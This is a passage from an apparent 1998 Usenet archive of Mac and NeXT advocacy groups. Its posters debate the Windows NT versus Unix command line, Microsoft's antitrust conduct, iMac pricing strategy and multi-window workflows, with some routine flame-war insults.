(See 'CreatePipe()' for more info.)
> breadth of commands available and consistency and flexibility
>of individual commands,
While the breadth is there in Unix, I wouldn't exactly point
to Unix for "consistency" of individual commands. Flexability,
yes. But consistancy, no.
> ... atrocious shell (I mean that the shell program itself hardly
>competes with the ancient "sh", let alone with something like zsh or
>tcsh). Part of these lacks is due to how much longer Unix has been
>around than NT - part is just plain "Not Invented Here" attitudes.
I do agree with you here. The MS-DOS shell is pretty horrible,
though it does provide much of the basic functionality that
folks here have been discussing.
And Microsoft's "NIH" attitude has gotten so bad that even
the Justice Department is investigating.
>... But even then, NT's shell access is very much
>bolted-on rather than intrinsic to the operating system. This may or
>may not be acceptable when you look at the operating system as a whole...
I'm not sure what you mean by "bolted-on rather than intrinsic."
Most Unix shells are not "intrinsic" to the Unix operating system,
but are user-level applications which launch other applications.
It wouldn't be all that difficult, I suppose, to port one of
the better Unix shells to NT, as while the NT CLI shell does
run closer to the OS than a typical Unix shell, it's not
rocket science to rewrite the 'handle redirect/fork/exec'
chunk to use the technique in the KB above.
>- but when you look at it entirely from the point of view of a
>sysadmin type who's looking to migrate from Unix, it's the CLI that
>sticks out.
See, that's the problem: NT is not Unix. It does provide much
of the same functionality, and it even provides additional
things that are not provided by Unix. But it's not Unix.
> And saying "well, it ain't Unix" is just a copout--I would like
> specifics.
>
>But, that gets right to my problems with it. It has a lot of
>Unix-isms, but it doesn't complete the picture. The default NT CLI is
>_extremely_ shallow, with few commands, and the commands it has aren't
>particularily consistent or composable (for instance, more won't
>accept parameters, type has a paging mode). In most cases, I can't
>think of any good reason for having such incapable commands - except
>perhaps that the vendor doesn't want you using the CLI.
If you are looking at it from the point of view of migrating
from Unix to NT, that's a whole different discussion than the
"CLI/GUI" argument going on before.
>Unfortunately, I'm too close to the topic to tell you my precise
>reasons. All I know is that after four years of using NT for about
>25% of my work, I always feel like I'm working with one hand behind my
>back in the CLI. Contrast this with VMS. There, I didn't feel as
>proficient as I do under Unix - but I felt it was because I didn't
>"get it", and that if I so desired, VMS could eventually become as
>useful to me as Unix has been.
I dunno about VMS; the time I spent with VMS, it seemed to me
that it was just from a completely different world. Not that
VMS isn't powerful; in fact, the VMS way of looking at files
and it's powerful shell scripting language makes VMS a natural
operating systems for "large iron" database processing and the
like. (That you can open a file as a collection of variable-
length database records makes writing a SQL server little more
than an exercise in parsing SQL statements on VMS.)
I don't think VMS is more or less powerful than Unix; just
designed to answer a completely different set of problems.
I've written a lot of software on VMS, and honestly for the
types of computational problems we were trying to perform,
Unix would have been better for our group. But if I were
recommending software for "big iron" transaction processing
applications, VMS is the way to go.
It is ironic--in some ways that when you dig deep down into
the NT kernel, you can see a lot of VMS'isms. That's because
the group who wrote the NT kernel was originally a Digital
group investigating creating an OpenVMS port for the Digital
Alpha platform.
>[Some might argue that less breadth is an _advantage_ of NT.
>Actually, I see NT's CLI as having all of the disadvantages of Unix
>CLIs, especially lack of documentation and novice entry points,
>without many of the advantages, such as the Unix ability to very
>easily chain very simple commands into very useful systems.]
On this point I will agree, though as far as I'm concerned,
as long as I can fork a CLI style (or console style) application
from my own application code, I'm a happy puppy.
(Meaning I tend to care little about the Unix shell, more about
the underlying flexability and power of the Unix architecture
and process management model.)
- Bill Woody
The PandaWave
From: sal@panix.com (Sal Denaro)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSX
Date: 24 Sep 1998 21:22:14 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6ued66$1v0@news1.panix.com>
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <6thebh$q8m$1@cronkite.cs.umd.edu> <Eg8L1.1457$k5.1863590@newsfeed.slurp.net> <joe.ragosta-1409981004420001@wil103.dol.net> <35FD50CB.CCFAF0A6@ericsson.com> <6tkdm7$dgb@news1.panix.com> <35FE4D62.1784041C@SPAMFREE.yahoo.com> <6took8$poc@news1.panix.com> <6tp88s$3jv$1@birch.prod.itd.earthlink.net> <360031F5.E14EE17B@ericsson.com> <6tprgt$7ul@news1.panix.com> <36007F55.B489EF78@nstar.net> <6tsmiv$689@news1.panix.com> <36026BF9.CE1373CB@nstar.net> <6u3qk0$duv@news1.panix.com> <36072843.5A2347B9@nstar.net> <6u8ih4$mf@news1.panix.com> <360809A7.2DA4D780@ericsson.com>
On Tue, 22 Sep 1998 15:33:43 -0500,
Michael Peck <Michael.Peck@ericsson.com> wrote:
>> That was my point, that Apple hardware can be replaced by PC hardware
>> and that Apple doesn't have a monoploy anymore than Dell or Gateway.
>No, that wasn't your point; read the thread.
It was.
In article <6tkdm7$dgb@news1.panix.com>:
on Mon, 14 Sep 1998 12:22:19 -0500,
Michael Peck <Michael.Peck@ericsson.com> wrote:
<<clipped>>
>Think it through carefully and slowly. Can Dell replace your Macintosh?
Yes. If they couldn't, then Apple's market share could not drop.
What can be done on a Mac that can not be "reasonably replaced" by a Dell?
Both can run Photoshop, Office and Netscape. Both can run Linux and BSD
OSs. Both are available in beige boxes with IDE drives and PCI slots.
***************************************
> Your point is as fluid as
>your opinions appear to be. In fact, I've noticed that you have exactly
>one goal, here, that being to impress people and ingratiate yourself. No
>offense.
I've never seen a clearer case of projection in my life.
>> If Joe (or someone else) who has demonstrated a strong Mac bias, claims
>> that nothing can replace a Mac; is his opinion more credible than the
>> actions of the marketplace?
>What are you talking about? I don't have to come to an impartial
>decision regarding the quality of the Macintosh platform. I'm making an
>observation regarding Apple and its markets. What in the world do the
>actions of the rest of the marketplace have to do with this?
I have a lot of trouble believing that you don't understand this.
If you have two people who saw strange lights in the sky, one of them is
a UFO zealot, and one is a commercial pilot with no pro-UFO or anti-UFO
agenda, which report would you give more credence to?
Now, if you have a "I bleed six colors" Mac user and a person with no
pro-Apple or Anti-Apple agenda, who would you give more credence to?
<clip>
>> >I didn't know that lying was illegal.
>> So you think it is legal to knowingly deceive business partners?
>You'll have to explain what you mean, instead of making sweeping
>generalities that demonstrate a complete lack of regard for the
>argument.
Do you think it is legal to knowingly deceive business partners when
drafting a business agreement, investment, or when conducting any other
legal transaction?
> Lying is not illegal. That is what I said, and *exactly* what
>I said. The only exception is when the subject is under oath in a court
>of law (such as a grand jury deposition).
Or any other legally binding document. In just about every contract I have
ever signed, there is a clause that invalidates the contract if either party
knowingly deceives the other.
>> They are under investigation for abuse of monopoly position. The fact that
>> they feel that they can lie, and get away with it, is clear indication that
>> they do have that abilty.
>If Salvatore Denaro lies and can get away with it, are you abusing
>monopoly position? Of course you do and can, and of course you are not a
>monopoly. This is ridiculous, don't waste my time with useless
>argumentation.
I can not "get away with lies". I do not have the market presence to demand
that other deal with my lies whether they like it or not.
Go and Penpoint folded long before they could take legal action against MS
for knowingly deceiving a number of software vendors on the timetable for
PenWindows.
>> Acer was told not to ship Lotus products with their machines. Others were
>> told not to remove IE or install NetScape
>No, they were told that conditions of their Windows licenses included
>the above.
There is no condition in the Windows license that prevents an OEM from
installing other software. Acer was told that "Bill is not happy with them"
and that if they do not reconsider there choice, "their OEM license may be
in jeopardy"
This is clearly extortion. Do you think it is all right for MS to violate
its contractual agreements?
> Are you telling me that Microsoft does not have the legal
>right to write its own licensing conditions?
They do have that right. They do not have to the right to unilaterally amend
it after signing.
>> I also have to right to appeal to my elected representatives to act on my
>> behalf.
>As I said, freedom of press. However, they do not have the jurisprudence
>to act outside of accordance with the Constitution.
<clip>
Antitrust laws were found to be constitutional by the Supreme court. How
am I asking them to break the law.
>> >When you begin to talk about federal action or legislation -- as you put
>> >it, changing the rules for one company --
>> Not one company, any company in that position.
>Since you have never defined the position, except in the convenient
>terms of Microsoft's current status, I can only assume that your
>argument is flexible enough to fit your practical desires. This is would
>stand to reason by evidence of previous correspondence.
When did I ever say otherwise? I have stuck to the point that Antitrust
laws are legal, ant that MS should be prosecuted under them. I have never
advocated anything other than that.
>> Like Theodore Roosevelt and James Madison? Both believed that no one
>> should weld unchecked power.
>Yes, to TR. No, to James Madison.
James Madison is better known as the Architect of the Constitution. One
of the great strengths of the Constitution is that it prevented any one
person from having unchecked power. A second it that it gave Congress a
very broad scope on how to act: "provide for the common defence and
general welfare of the United States" (Article I, Section 8, Line 1)
Anything that is legal, as decided by the Supreme court can be proposed
under that banner and signed into law by the president.
> I don't know what causes you to place
>a Progressive with a Classical Liberal,
What causes you to think that there is anything in common between
"Classical Liberalism" and the modern Libertarian party.
> but whatever it is (probably
>pure ignorance) the comparison makes no sense. And in any case, if you
>can demonstrate that Microsoft wields unchecked power, I certainly wish
>you would.
>After all! What good is a DoJ probe if Microsoft has unchecked power?
To keep MS from abusing that power.
>> LOL. This is the typical drivel you post. Obviously anyone who doesn't
>> agree with you is uninformed.
>No, it's just you.
I'm in good company. You have tried this BS with just about everyone on
CSNA for over a year.
>> Should I repost that comment you made that
>> you have no control on what actions your congressman makes?
>Well, it would be less cowardly of you, lackwit,
Are you down to spitball level yet?
> if you were to actually
>post the comment, rather than to misrepresent my remarks. But no matter;
>I can be big enough for the both of us, little man.
In <35E18098.3AA3A39A@ericsson.com>:
Congress manipulates the free market in ways far more profound every
time it signs new agriculture subidies into law. I had nothing to do
with that choice, nor can I do anything to stop it: Congress's dictates
are executed with authority; my actions have no authority.
*************************************
Obviously you have little or no understanding on how government works.
And you had no response to my followup <6rtk1c$ega@news1.panix.com>
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mobile Pentium II 300 MHz
Date: 24 Sep 1998 21:23:03 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6ued7n$231@newsb.netnews.att.com>
References: <6ucl9d$19os$1@piglet.cc.uic.edu> <3609E6C6.6A20AFCE@nstar.net>
Originator: gupta@tlctest
Agreed that it is far too early to know that AltiVec will be
successful in general purpose markets.
Meanwhile, http://www.research.ibm.com/people/p/pradeep/media_tutorial/
"Architectural and Design Implications of Mediaprocessing" is a good
read on what problems AltiVec can address.
-arun gupta
Michael J. Peck <mjpeck@nstar.net> wrote:
>
>I have seen a lot of literature regarding embedded uses in these
>markets, uses that can push Motorola into markets currently led by the
>likes of AMD. Apparently the PowerQuicc II is a pretty snazzy telecom
>beastie. But I am pretty skeptical of AltiVec's success in
>general-purpose markets. They're going to rewrite the OS, the compilers,
>and the apps, and then convince developers to start using the
>instructions just to get dubious performance gains on a small number of
>the newest machines? I don't really see that happening.
From: sal@panix.com (Sal Denaro)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSX
Date: 24 Sep 1998 21:22:12 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6ued64$1v0@news1.panix.com>
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <6thebh$q8m$1@cronkite.cs.umd.edu> <Eg8L1.1457$k5.1863590@newsfeed.slurp.net> <joe.ragosta-1409981004420001@wil103.dol.net> <35FD50CB.CCFAF0A6@ericsson.com> <6tkdm7$dgb@news1.panix.com> <35FE4D62.1784041C@SPAMFREE.yahoo.com> <6took8$poc@news1.panix.com> <6tp88s$3jv$1@birch.prod.itd.earthlink.net> <360031F5.E14EE17B@ericsson.com> <6tprgt$7ul@news1.panix.com> <36007F55.B489EF78@nstar.net> <6tsmiv$689@news1.panix.com> <36026BF9.CE1373CB@nstar.net> <6u3qk0$duv@news1.panix.com> <36072843.5A2347B9@nstar.net> <6u8ih4$mf@news1.panix.com> <joe.ragosta-2209981238080001@wil31.dol.net>
On Tue, 22 Sep 1998 12:38:08 -0400, Joe Ragosta <joe.ragosta@dol.net> wrote:
>In article <6u8ih4$mf@news1.panix.com>, sal@panix.com wrote:
>> If Joe (or someone else) who has demonstrated a strong Mac bias, claims
>> that nothing can replace a Mac; is his opinion more credible than the
>> actions of the marketplace?
>I never made that claim. In fact, I specifically stated that a PC is
>competing with Macs for my business.
Sorry, that should be Gerard Motola, not Joe.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Apple as a cold blooded killer (Re: A prediction)
Date: 24 Sep 1998 21:22:07 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6ued5v$1v0@news1.panix.com>
References: <6u8ih3$mf@news1.panix.com> <edewEzp8Iz.3Jr@netcom.com> <6u94g7$658@news1.panix.com> <edewEzpoKC.4HB@netcom.com>
On Wed, 23 Sep 1998 00:41:00 GMT, Eric Dew <edew@netcom.com> wrote:
>>Are you suggesting that Apple kill Steve Jobs and then work to sell existing
>>iMacs at $500k each?
>him and then went out prosletyzing his art. Maybe if Jobs wants to move to
>a secluded farm in Montana and live out the rest of his life in peace and
I ment it as a tongue in cheek kind of joke.
This would qualify as "extremely aggressive marketing" :)
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: A prediction
Date: 24 Sep 1998 21:22:09 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6ued61$1v0@news1.panix.com>
References: <6u8ih3$mf@news1.panix.com> <edewEzp8Iz.3Jr@netcom.com> <6u9475$61t@news1.panix.com> <edewEzpoEt.451@netcom.com>
On Wed, 23 Sep 1998 00:37:41 GMT, Eric Dew <edew@netcom.com> wrote:
>>Dell doesn't have a consumer line. Can you name any company with a consumer
>>line that doesn't have a $1k machine?
>Exactly what do you mean by "consumer line?" If I can buy from Dell, any
>machine they have, isn't tha a consumer line, or do you have a technical
>definition of the term?
Low cost machines sold to end users in the retail market, most often
in personal electronics stores. That is the way I use the term, YMMV.
>The Sloan method of making a line for every price point HAS been debunked.
I'll take you word on this; where can I find some info on who and how it
was debunked.
>It's better to focus on one thing rather than shotgun it and put a product
>out there at every price point. The only thing that will do is draw sales
>onto one price-point at the expense of another price point. Thus, the
>company needs to make product A for price $A and product B for price $B
>and customers will buy either A or B.
There is something to be said about not putting all your eggs in one basket.
I don't think that having more than one iMac would be that much of a problem.
Apple's current system of having a "good, better and best" machine in each
line is a pretty good compramise between shotgunning and snipping.
>>Super Nintendo? Sega? Sony Playstation? All of them have tried to underprice
>>each other to build market.
>Is it because they were selling ALL the inventory or because they weren't
>selling all their inventory?
Sony didn't need to OEM, since they have a lot of production capacity. Sony
made it clear that they were going to gain marketshare at any cost. Without
marketshare, Sony would not be able to convince 3rd parties to write games
for the PS. And what did Sony do? They flooded the market, sold at or below
cost, and paid game companies to write PS games.
Now that the PS market is large and growing, Sony no longer needs to bribe
people to write PS games, or sell the console at a loss.
While I do not advocate selling the iMac at a loss, I do advocate using it
to gain marketshare. IMHO, the best way of doing this is to lower the price.
>>An OEMed iMac would still look like a gumdrop. There is no law about OEM
>>machines having to be beige.
>Well, I didn't imply that the OEM can't have the look and feel of the iMac.
It would be an iMac. Made from the same parts by another company.
>My perception in this whole argument rested on the assumption that Apple
>has to produce more on their own dime.
>>Keep in mind that BMW, Porsche and Mercedes all have "entry level" cars. The
>>$30k Three series doesn't dilute the value of the $80 Five series. And BMW is
>>planning to go head to head with Honda when they introduce the new BMW2002
>And they will hurt themselves by doing so. If you want an SUV, you'd buy
>the grand daddy of them all, the Chevy Suburban,
Then why does Chevy make other SUVs like the Blazer?
>If BMW and Mercedes and Porche wants to hurt themselves by line-extending,
>don't bring them up as examples of good marketing plans.
The z3 gets people into the showroom. It has helped increase sales of all other
BMW cars. The same can be said about the Boxster and Porche.
>>Yes it is. Making it blue doesn't free it from the laws of economics.
>No, the perception that Apple is trying to make is that it is NOT just another
-------------------------^^^^^
>consumer product. Whether it is in reality (whatever that is) is not
>the issue.
You can remove Apple and replace it with the name of just about any other
company and the phrase still works. The consumer market happens to be
very price sensitive. Anything that lowers the entry cost is seen as a good
thing.
>>>>> The proper way to decide is based on good decision analytic
>>>>>practice.
>>>>And where do you get your data for those analytics? Do you pull them out of
>>>>thin air, or do you go back and look at systems that worked in the past?
>>>Well, to a degree, you might model a new system on similar systems of the
>>>past.
>>That was my point. The historical evidence clearly supports my view.
>I forgot to mention that it them breaks down old systems to demonstrate that
>using old models can be deadly to the bottom line.
Historical precedent is just one of many ways to "dart board" a problem. I
don't claim that it is any better or worse than any other method.
>I am surprised that you as a consultant have not heard of decision analysis.
I took a course on scenario planning where this was touched on (albeit briefly)
>After 20+ years of mathematics (from primary school through graduate school
>with PhD), I have never seen a clearer and more utilitarian area of
>mathematical study than the Stanford school of decision analysis. Maybe it's
>the way the teachers taught, but the content was quite compelling and
>convincing.
To each his own.
If you want to continue this discussion, I think it would be best to use email.
From: <>
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: A computer is not like a car.
Message-ID: <360a5c3e.0@news.busprod.com>
Date: 24 Sep 1998 14:50:38 GMT
Microslop Slopware Vs. Software
Perhaps a computer is not like a car in the way you've mentioned. However, they are much like a car, or any other personal property, in the sense that, you buy it, you own it! But Microslop spends much time and effort whinning about whether or not a person can buy a computer already loaded with one of their sloppy products. For example, a used computer. Only a fool would fall for Microslop's absurd notion: "if you did not originally install the program, thus have it registered to you, you have no right to use it." Isn't it peculiar, that Microslop's chief, Billy Gates, likely acquired his fundamental schematics for Windows from Apple Macintosh, and then exerts inconceivable efforts to thwart full usage by operator (c.f. EULA), not to mention, that Microslop makes a fool out of it'self seeing that every product suffers some peculiar "Gates Glitch!"
dean@busprod.com
From: "William Edward Woody" <woody@alumni.caltech.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: Thu, 24 Sep 1998 08:54:18 -0700
Organization: Pacific Bell Internet Services
Message-ID: <6udq7h$7fd$1@nnrp3.snfc21.pbi.net>
References: <heaney-0509981648590001@24.0.246.137> <6tbq52$q06$1@nnrp4.snfc21.pbi.net> <35F9AC3D.8593934@ericsson.com> <6tevmv$a1k$1@nnrp3.snfc21.pbi.net> <jdoherty-1209982342090001@aus-tx18-17.ix.netcom.com> <6tfjrn$nco$1@nnrp4.snfc21.pbi.net><slrn6vo669.s81.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <SCOTT.98Sep15132801@slave.doubleu.com> <6tp0vn$m9s$1@nnrp3.snfc21.pbi.net> <6tpdpe$oko$1@nnrp4.snfc21.pbi.net> <SCOTT.98Sep22123904@slave.doubleu.com> <6uck4k$b6u$1@nnrp3.snfc21.pbi.net> <6udn1j$g2f$1@nnrp03.primenet.com>
John Jensen wrote in message <6udn1j$g2f$1@nnrp03.primenet.com>...
>By this logic anything is as good as anything else because you can
>add the difference.
Isn't this what made Unix great?
This, and a few thousand undergraduates 'flicking' classes
and adding hundreds of utilities to the basic environment.
- Bill Woody
The PandaWave http://www.pandawave.com/
(Sorry, "to flick" is a Caltech-ism meaning to ditch
class and do something 'entertaining.')
Date: Thu, 24 Sep 1998 13:58:19 -0500
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Message-ID: <joe.ragosta-2409981358200001@elk88.dol.net>
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <6thebh$q8m$1@cronkite.cs.umd.edu> <Eg8L1.1457$k5.1863590@newsfeed.slurp.net> <joe.ragosta-1409981004420001@wil103.dol.net> <macghod-1409981027520001@sdn-ar-001casbarp115.dialsprint.net> <joe.ragosta-1809981624580001@wil43.dol.net> <JuGM1.187$vp1.313907@newsfeed.slurp.net> <joe.ragosta-1909980716260001@elk86.dol.net> <Josh.McKee-1909981059520001@166-93-69-218.rmi.net> <joe.ragosta-1909981829490001@elk70.dol.net> <MPG.106deffd8a6d042a989710@news.ont.com> <joe.ragosta-1909981911020001@elk53.dol.net> <6u1ln3$t0m$1@birch.prod.itd.earthlink.net>
In article <6u1ln3$t0m$1@birch.prod.itd.earthlink.net>, "Todd Arneson"
<s124@[REMOVE]earthlink.net> wrote:
> Joe Ragosta wrote in message ...
> >In article <MPG.106deffd8a6d042a989710@news.ont.com>, jmcn@ont.com (Jason
> >McNorton) wrote:
> >
> >> In article <joe.ragosta-1909981829490001@elk70.dol.net>,
> >> joe.ragosta@dol.net says...
> >> > In article <Josh.McKee-1909981059520001@166-93-69-218.rmi.net>,
> >> > Josh.McKee@cbns.com (Joshua T. McKee) wrote:
> >> > > You know what's scary Joe? The fact that these people argue that
> they
> >> > > made a rational choice is choosing the PC. They've clearly
> demonstrated
> >> > > that rational thought is beyond their comprehension.
> >> >
> >> > I know. There are days I just can't believe what apparently passes for
> >> > logic from some of the Wintrolls.
> >>
> >> It's even more scary that there are zealots out there who are so closed
> >> minded that if anyone chooses what they don't use, they are idiots.
> >
> >True. But how is that a response to my statements?
> >
> >I've never ridiculed someone merely for their choice of computer
> >platforms. That's something that's much more common in the Wintel crowd.
>
>
> Just like Bill Clinton has never told a lie.
>
> (Note to the mac-impared: I'm being sarcastic)
Be sarcastic all you want. But when did I ever ridicule someone merely for
their choice of computer?
I _have_ ridiculed people for having stupid reasons that they use to
justify their computer choice. But never for their choice. I have
recommended Window PCs. There's nothing inheretly wrong with them.
--
Regards,
Joe Ragosta
See the Complete Macintosh Page at its new location:
http://www.taylor-design.com/cMacindex.html
Newsgroups: comp.sys.next.advocacy
From: edew@netcom.com (Eric Dew)
Subject: Re: Multiple Users (was: Worried about MacOS X)
Message-ID: <edewEzsyFE.HLI@netcom.com>
Sender: edew@netcom12.netcom.com
Organization: Netcom Online Communications Services (408-241-9760 login: guest)
References: <360831C3.D9DAC82F@trilithon.com> <edewEzpouz.4vC@netcom.com> <6ubqa6$b2n$1@nnrp1.dejanews.com>
Date: Thu, 24 Sep 1998 19:06:50 GMT
In article <6ubqa6$b2n$1@nnrp1.dejanews.com> spagiola@my-dejanews.com writes:
>edew@netcom.com (Eric Dew) wrote:
>> You got it. Being a long-time NeXT user, I have to explain to people why I
>> want to have multiple windows opened on the desktop. Most people are still
>> enlarging their windows to maximize (on both MS OSes and Macs) and flip from
>> one maximized window to another....what's the point of multi-tasking if one
>> can only see one window at a time?
>
>The thing is, even if you know full well the advantages of multi-tasking, MS
>OSs make it so darn difficult to use more than one window at the time, what
>with their habit of overloading each window with a gazillion task bars, plus
>those exasperating modal panels they like so much, that maximizing is really
>the only way to work.
>
>I'm a long-time NeXTSTEP user, and my NeXT regularly has windows from 3-4
>different apps all over the screen (I was going to write 'littered', but
>they're not -- they're carefully arranged so that I can work on all more or
>less simultaneously). At the same time, the NT system i have sitting right
>next to it only has one maximized window visible, even when multiple apps are
>running.
>
Yup, either you have multiple opened MS Word apps (which takes its toll on
the CPU), or you have to switch among different documents within one Word app
uber-window (is that called an app-window, as opposed to a document window?).
Worse is when you *DON'T* have the document window maximized within the app
window and you move it so that the sliding bar is hidden behind the
app-window. Now, you can't do a damned thing to scroll around that document.
Want to see two documents side-by-side? Fergittit.
EDEW
Message-ID: <360B26FD.BDA355D7@no.spam>
From: "Edwin E. Thorne" <ethorne@no.spam>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.os.mac.advocacy,comp.sys.next.advocacy
Subject: Re: I am NOT Cybernaught!
References: <36049E59.1836FCA0@my.house> <macghod-2109980050290001@sdn-ar-001casbarp292.dialsprint.net>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
NNTP-Posting-Date: Fri, 25 Sep 1998 01:16:35 EDT
Organization: ISPNews http://ispnews.com
Date: Fri, 25 Sep 1998 00:15:46 -0500
Steve Sullivan wrote:
>
> In article <36049E59.1836FCA0@my.house>, no.spam@my.house wrote:
>
> > I came back to reading this news group after about a month of being away from
> > it. I see that we have some new people, but I'm surprised to find out some
> > posters think these newcomers are me!
> >
> > A while back, was accused of resetting my system clock, and reinstalling
> > Cyberdog/OpenDoc, as some bizarre way to fool people into thinking that I'm
> > more than one person.
>
> Actually, it was that:
> 1) people from the same isp as you started showing up posting forwards
> like you do.
So what? Do you have any idea of the size of the population in the area I
post from? Or how big Chicagonet's service area is?
> 2) in one of the posts from one of these "people" it was signed either
> edwin or edwin thorne. You claimed that you were at your friend
> "macsbug"'s house, and thus signed your name, since you wrote the post and
> always sign them, big deal.
Okay, how did that make me into Cybernaught or Anton? What I "claimed" was a
statement of truth, BTW.
> 3) you and one of these "other" people made posts within 2 minutes of each
> other from the same ip.
That occurred with a single post, not multiple posts as was falsely claimed in
error by Jason S. Even at that, he claimed two posts.
> You never gave us the email address for "macsbug". His isp is
> chicagonet.net, just like you. One could believe that the reason you
> didnt give his email address is that his dial up account is
> edwin.thorne@chicagonet.net
Why don't you believe that MacsBug is Elvis while you're at it? It has as
much basis in fact as your other fantasies. I don't give out other people's
Email addresses, especially not those of my friends. I told you that at the
time.
>
> > What gives? Why am I being accused of being multiple personalities? Are
> > some people so offended by the fact that I advocate the Mac, that they will
> > resort to any and all means to discredit me?
>
> Well, trying to discredit one for simply advocating the mac is a very bad
> thing, I agree.
Thank you for that, at least.
> > Just what reason would I have to post under more than one name? Someone
> > please enlighten me. Why would I post under my own name for so long, and
> > then suddenly take on multiple aliases? For what purpose? How would it
> > benefit me? Why would I continue to post under my real name, after assuming
> > an alias? And why would I do this with people telling me that they're
> "on to me?"
>
> You are right, I see no way you would gain by doing this.
So what does simple logic tell you?
> Of course, your
> posting within a minute or two from the same ip as one of these "others"
> is quite odd.
This is one random occurrence that happened for one message. How you could
build this into proof that I possess multiple personalities is beyond me.
>
> > Whether anyone believes it or not, I am not Anton, MacsBug, or
> > Cybernaught/Cybernut/Cybernought. I know that I am one person, with one
> > personality, and one name.
>
> --
> Just because you use a mac doesnt mean you have to lose all
> semblance of reason and logic
Message-ID: <360B1DA8.44C63B1E@nstar.net>
From: "Michael J. Peck" <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy
Subject: Re: Multiple Users (was: Worried about MacOS X)
References: <6ubqa6$b2n$1@nnrp1.dejanews.com> <edewEzsyFE.HLI@netcom.com> <6uegpe$8j4$1@nnrp1.dejanews.com> <edewEztG0w.H4n@netcom.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Date: Thu, 24 Sep 1998 23:35:52 -0500
NNTP-Posting-Date: Fri, 25 Sep 1998 00:37:11 EDT
Organization: ISPNews http://ispnews.com
Eric Dew wrote:
> Ordinarily, I would click (the mouse works) to close all apps and click to
> reboot. But, today, a coworker suggested that I unplug the keyboard from the
> back, wait 5 seconds, and plug back in. That did the trick.
That would be a hardware problem.
> THIS IS A PROFESSIONAL MACHINE? It's like saying, "After every thirty miles
> or so, you might need to recrank the car to start it up again."
I don't get this kind of talk coming from Mac users. Zap the PRAM? Hold
down C-O-T-S to boot from CDROM? It takes a pretty serious Jonestown
devotee to bash the Heaven's Gate cult.
MJP
From: scott@nospam.doubleu.com (Scott Hess)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: 24 Sep 98 10:03:48
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Sep24100348@slave.doubleu.com>
References: <heaney-0509981648590001@24.0.246.137><6svokr$51r$1@nnrp02.primenet.com><heaney-0809980032490001@24.0.246.137><6t3if6$h$1@nnrp02.primenet.com><heaney-0809981243030001@24.0.246.137><6t3nal$124$2@nnrp02.primenet.com><heaney-0809981533040001@24.0.246.137><6t42o6$puq$1@nnrp03.primenet.com><heaney-0809982244000001@24.0.246.137><6t68ia$b2c$1@nnrp03.primenet.com><heaney-0909981627150001@24.0.246.137><6t76bj$hrb$1@nnrp03.primenet.com><6t77jj$6rq$1@nnrp3.snfc21.pbi.net><6t8nsa$ij$1@nnrp03.primenet.com><6t97qg$ag3$1@nnrp3.snfc21.pbi.net><35F94B82.BF895AAE@ericsson.com><6tbq52$q06$1@nnrp4.snfc21.pbi.net><35F9AC3D.8593934@ericsson.com><6tevmv$a1k$1@nnrp3.snfc21.pbi.net><jdoherty-1209982342090001@aus-tx18-17.ix.netcom.com><6tfjrn$nco$1@nnrp4.snfc21.pbi.net><slrn6vo669.s81.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu><SCOTT.98Sep15132801@slave.doubleu.com><6tp0vn$m9s$1@nnrp3.snfc21.pbi.net>
<6tpdpe$oko$1@nnrp4.snfc21.pbi.net>
<SCOTT.98Sep22123904@slave.doubleu.com>
<6uck4k$b6u$1@nnrp3.snfc21.pbi.net>
In-reply-to: "William Edward Woody"'s message of Wed, 23 Sep 1998 22:04:15 -0700
In article <6uck4k$b6u$1@nnrp3.snfc21.pbi.net>,
"William Edward Woody" <woody@alumni.caltech.edu> writes:
Scott Hess wrote in message ...
>Regular filesystem layout,
What do you mean by this?
The same files and programs are installed in basically the same places
on different systems.
>rooted filesystem layout,
Again, what do you mean by this? And why is this important?
(I'm not trying to be obtuse or dense, mostly curious as to
why it's important to have a 'rooted' file system layout.
For unknown reason, with Windows NT Microsoft decided to continue
requiring the user to specify the device+path for files, rather than
just the path. This relates to the first point - on different
systems, the same files might be on different devices, which is a
silly thing to have to worry about.
What really annoys me about that, though, is that they could have
trivially did a rooted filesystem layout, and allowed users who wanted
drive letters to bind drive letters to specified points in the
